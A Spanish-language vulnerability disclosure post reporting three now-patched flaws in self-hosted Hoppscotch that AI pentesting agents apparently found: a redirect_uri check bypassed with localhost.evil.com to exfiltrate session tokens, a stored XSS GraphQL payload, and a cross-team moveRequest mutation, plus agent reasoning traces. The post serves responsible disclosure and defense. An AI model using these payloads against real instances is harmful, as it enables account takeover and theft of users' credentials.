Introducción
Hoppscotch es un ecosistema de desarrollo de API de código abierto, similar a Postman, con más de 100.000 usuarios mensuales. Hace dos semanas, configuramos una instancia autoalojada y ejecutamos nuestros agentes de pentesting de IA contra ella. Encontraron dos vulnerabilidades de alta gravedad y una de gravedad media, todas presentes en versiones hasta la 2026.2.1 inclusive, y todas parcheadas en la 2026.3.0:
- Toma de control de cuenta mediante redirección abierta que permite la exfiltración de tokens de autenticación a un dominio malicioso, lo que permite a un atacante autenticarse como la víctima.
- XSS almacenado a través del Mock Server, donde JavaScript inyectado a través de una cabecera de respuesta se ejecuta en el contexto de la aplicación Hoppscotch, otorgando a un atacante acceso de lectura y escritura a todo lo que la víctima puede ver.
- Un control de acceso roto en el movimiento de solicitudes, donde un usuario de un equipo puede inyectar una solicitud en la colección de otro equipo. Si un miembro del equipo objetivo la ejecuta, las credenciales y las claves API pueden ser exfiltradas.
Las tres fueron divulgadas de forma responsable y han sido resueltas.
Remediación
Actualice las instancias autoalojadas de Hoppscotch a la versión 2026.3.0 o superior.
Las vulnerabilidades descubiertas se añadieron a la base de datos de Aikido Intel:
- https://intel.aikido.dev/cve/AIKIDO-2026-10462
- https://intel.aikido.dev/cve/AIKIDO-2026-10463
- https://intel.aikido.dev/cve/AIKIDO-2026-10461
Redirección abierta que resulta en una toma de control de cuenta
Aviso: GHSA-7fg7-wx5q-6m3v
CVSS: 8.5 (Alta)
Affected versions: Hoppscotch <= 2026.2.1
Versiones parcheadas: 2026.3.0
Hoppscotch cuenta con una interfaz web y una aplicación de escritorio. Para autenticar la aplicación de escritorio, se abre una URL como la siguiente en el navegador:
http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost%2Fdevice-token
La instancia de Hoppscotch utiliza el parámetro de consulta redirect_uri para enviar los tokens de sesión. Aquí es donde reside la vulnerabilidad. El back-end tenía la siguiente validación defectuosa en la URI:
if (!redirectUri || !redirectUri.startsWith('http://localhost')) {
throwHTTPErr({
…
})
}
El código comprueba si la URI comienza con http://localhost, pero no tiene en cuenta que dominios maliciosos como http://localhost.evil.com también pasan esta comprobación. Como resultado, si una víctima navega a:http://<hoppscotch-instance>/device-login/?redirect_uri=http%3A%2F%2Flocalhost.evil.com%2Fdevice-token
Hoppscotch enviaría sus tokens de sesión a http://localhost.evil.com. Dado que localhost es un subdominio del atacante evil.com dominio, en lugar de ir a localhost, la solicitud va al servidor del atacante. Entonces podrían usar estos tokens para autenticarse como la víctima.
Nuestros agentes encontraron el problema en el código base y lo verificaron configurando un listener en una IP pública y creando un payload usando sslip.io. Al usar la URI http://localhost.<attacker-ip>.sslip.io/, el payload eludió con éxito la comprobación startsWith mientras forzaba al navegador a resolver la dirección al servidor del atacante. Una vez que la víctima se autenticó, los tokens de sesión sensibles se filtraron directamente a nuestro listener, confirmando que era posible una toma de control completa de la cuenta.
La siguiente pull request resolvió la vulnerabilidad utilizando un analizador de URL adecuado: https://github.com/hoppscotch/hoppscotch/pull/6012
XSS almacenado a través de Mock Server
Advisory: GHSA-wj4r-hr4h-g98v
CVSS: 8.5 (High)
Affected versions: Hoppscotch <= 2026.2.1
Patched versions: 2026.3.0
Hoppscotch incluye una función de Mock Server que sirve respuestas definidas por el usuario desde URLs bajo /mock/<subdomain>/. El backend está sirviendo estas respuestas desde el mismo origen que la aplicación Hoppscotch, lo que significa que el cross-site scripting en el MockServer puede utilizarse para exfiltrar y modificar datos de usuario.
Para inyectar un payload de XSS, los agentes de pentest de Aikido eludieron las restricciones de la interfaz de usuario, enviando una solicitud a la API de GraphQL que establece el Content-Type encabezado de respuesta a text/html. Esto no era posible a través del front-end.
Cuerpo de la solicitud de ejemplo:
{
"query": "mutation($id:ID!,$title:String,$request:String){ updateRESTUserRequest(id:$id,title:$title,request:$request){ id title } }",
"variables": {
"id": "<REQUEST_ID>",
"title": "addPet",
"request": "{\"v\":\"16\",... , \"responses\":{\"XSS\":{\"name\":\"XSS\",\"status\":\"OK\",\"code\":200,\"headers\":[{\"key\":\"content-type\",\"value\":\"text/html\",\"active\":true,\"description\":\"\"}],\"body\":\"<img src=x onerror=\\\"console.log(424212069)\\\">\",\"originalRequest\":{\"v\":\"6\",\"name\":\"xss\",\"method\":\"GET\",\"endpoint\":\"<<mockUrl>>/xss\",\"params\":[],\"headers\":[],\"requestVariables\":[]}}}}"
}
}El XSS se activa una vez que el usuario visita el endpoint de la API simulada. Por ejemplo:
http://<hoppscotch-instance>/mock/-v9juLVaiMnJa/v2/pet/findByStatus

Para probar esto, los agentes de IA inyectaron un payload de console.log en el cuerpo de la respuesta a través de la API de GraphQL, eludiendo eficazmente las restricciones de tipo de contenido de la interfaz de usuario. Al navegar al endpoint simulado específico, el navegador ejecutó el script y los agentes capturaron con éxito la salida registrada en la consola.
El siguiente PR resolvió la vulnerabilidad añadiendo saneamiento y sandboxing con una Política de Seguridad de Contenido:
https://github.com/hoppscotch/hoppscotch/pull/6006
Control de Acceso: Mover solicitudes a otro equipo
Aviso: GHSA-wj4r-hr4h-g98v
CVSS: 6.0 (Media)
Affected versions: Hoppscotch <= 2026.2.1
Versiones parcheadas: 2026.3.0
Hoppscotch permite a los usuarios mover o reordenar solicitudes entre colecciones utilizando la moveRequest mutación de GraphQL. Los agentes descubrieron que el backend no validaba correctamente los permisos para la colección de destino, permitiendo a un atacante "inyectar" sus propias solicitudes en una colección perteneciente a un equipo diferente.
La vulnerabilidad reside en la lógica de validación del backend: mientras que verifica la solicitud de origen, omite la verificación del equipo de destino si el nextRequestID está establecido en null. Al proporcionar el destCollID del equipo de una víctima y dejando el nextRequestID vacío, un atacante puede mover con éxito una solicitud entre límites de inquilinos:
{
"operationName": "MoveTeamRequest",
"query": "mutation MoveTeamRequest($req: ID!, $dest: ID!, $next: ID) { moveRequest(requestID: $req, destCollID: $dest, nextRequestID: $next) { id collectionID teamID } }",
"variables": {
"req": "<ATTACKER_REQUEST_ID>",
"dest": "<VICTIM_COLLECTION_ID>",
"next": null
}
}
Esto puede resultar en un impacto en la confidencialidad si un miembro del equipo de la víctima ejecuta sin saberlo la solicitud inyectada o la colección padre. Si lo hacen, las solicitudes que heredan encabezados de autorización, o contienen marcadores de posición de variables para —por ejemplo— claves de API, los datos sensibles podrían ser exfiltrados al servidor del atacante.
A continuación se muestran los rastros de los agentes identificando la vulnerabilidad:
Examinando las relaciones de teamID - Me pregunto si las solicitudes pueden pertenecer a colecciones de diferentes equipos sin cambiar el teamID. Esto podría violar la restricción de clave externa si la colección está vinculada a otro equipo. El modelo TeamRequest probablemente conecta colecciones por ID sin aplicar estrictamente que teamID coincida con collection.teamID. En createTeamRequest, sí verifican que el ID del equipo coincida. Sin embargo, si mover una solicitud solo actualiza collectionID sin alterar teamID, necesito revisar el esquema de Prisma para aclarar cómo se estructuran estas relaciones. Busquemos el esquema en el directorio apropiado.
Identificando problemas de control de acceso - Me doy cuenta de que el guard solo verifica si un usuario es miembro del equipo asociado con requestID e ignora los permisos para el equipo de la colección de destino. La función moveRequest está protegida por GqlRequestTeamMemberGuard para roles como Editor u Owner, pero no incluye verificaciones para GqlCollectionTeamMemberGuard en destCollID. Esto significa que un editor del Equipo A podría mover una solicitud a la colección del Equipo B sin ser miembro, creando una grave vulnerabilidad de control de acceso.
Revisando el manejo de solicitudes - Necesito confirmar mi comprensión de findRequestAndNextRequest y reorderRequests. En findRequestAndNextRequest, verifica que la solicitud exista en srcCollID. Si se proporciona nextRequestID, asegura que nextRequest pertenezca a la misma colección y equipo. Sin embargo, si nextRequestID es nulo, omite la verificación de la propiedad del equipo de destCollID.
En reorderRequests, bloquea por request.teamID para las colecciones de origen y destino. Pero si destCollID es de otro equipo, continúa con las actualizaciones sin asegurar las verificaciones de equipo adecuadas, lo que podría generar problemas.
La siguiente PR resolvió la vulnerabilidad añadiendo una comprobación de autorización:
https://github.com/hoppscotch/hoppscotch/pull/6006
Crédito a TristanInSec, quien también había identificado de forma independiente la vulnerabilidad XSS.
Lea más sobre nuestra investigación de pentesting con IA:
- SvelteSpill: Un error de engaño de caché en SvelteKit + Vercel
- PromptPwnd: Vulnerabilidades de inyección de prompt en GitHub Actions usando agentes de IA
Descubra más sobre cómo funcionan nuestros agentes de pentesting con IA:
- Cómo hacemos que nuestros agentes de IA sean seguros por diseño
- Cómo se compara el pentesting autónomo con el pentesting manual

